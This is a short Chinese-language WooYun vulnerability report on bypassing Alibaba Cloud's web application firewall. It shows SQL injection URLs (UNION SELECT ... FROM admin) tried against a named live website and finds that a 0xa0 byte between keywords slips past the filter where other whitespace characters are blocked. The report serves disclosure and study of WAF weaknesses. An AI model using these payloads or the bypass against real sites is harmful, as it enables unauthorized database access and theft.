WooYun.org

1：之前的漏洞描述里面有点知识理解错了，但是不影响结果，测试下阿里云waf的看能不能搞定
2：在正则表达式里面，\s的理解有如下字符，在php，python以及c下面测试结果均为： 0x09,0x0a,0x0b,0x0c,0x0d,0x20如下6个字符，
3：在如下帖子中知名，mysql理解的whitespace有如下字符： 0x09,0x0a,0x0b,0x0c,0x0d,0x20,0xa0
code 区域
http://zone.wooyun.org/content/16772
感谢狗哥哥分享的帖子
4：找一个站点使用阿里云waf防御的，找了半天没有找到注入的，找到了也是access的，形式上看一下效果吧
http://www.alijijinhui.org/index.php?id=1
我们输入如下url：
http://www.alijijinhui.org/index.php?id=1 union select 1,2,3,4,5 from admin %23

标志性的阻断了，
5：我输入这样的url：

http://www.alijijinhui.org/index.php?id=1 union%09select 1,2,3,4,5 from admin %23
http://www.alijijinhui.org/index.php?id=1 union%0aselect 1,2,3,4,5 from admin %23
http://www.alijijinhui.org/index.php?id=1 union%0bselect 1,2,3,4,5 from admin %23
http://www.alijijinhui.org/index.php?id=1 union%0cselect 1,2,3,4,5 from admin %23
http://www.alijijinhui.org/index.php?id=1 union%0dselect 1,2,3,4,5 from admin %23

均被waf拦截了，看样子是用\s去处理了
6：和之前一样，考虑下mysql中的特殊情况输入
http://www.alijijinhui.org/index.php?id=1 union%a0select 1,2,3,4,5 from admin %23

绕过了阿里云的waf，发送到了web端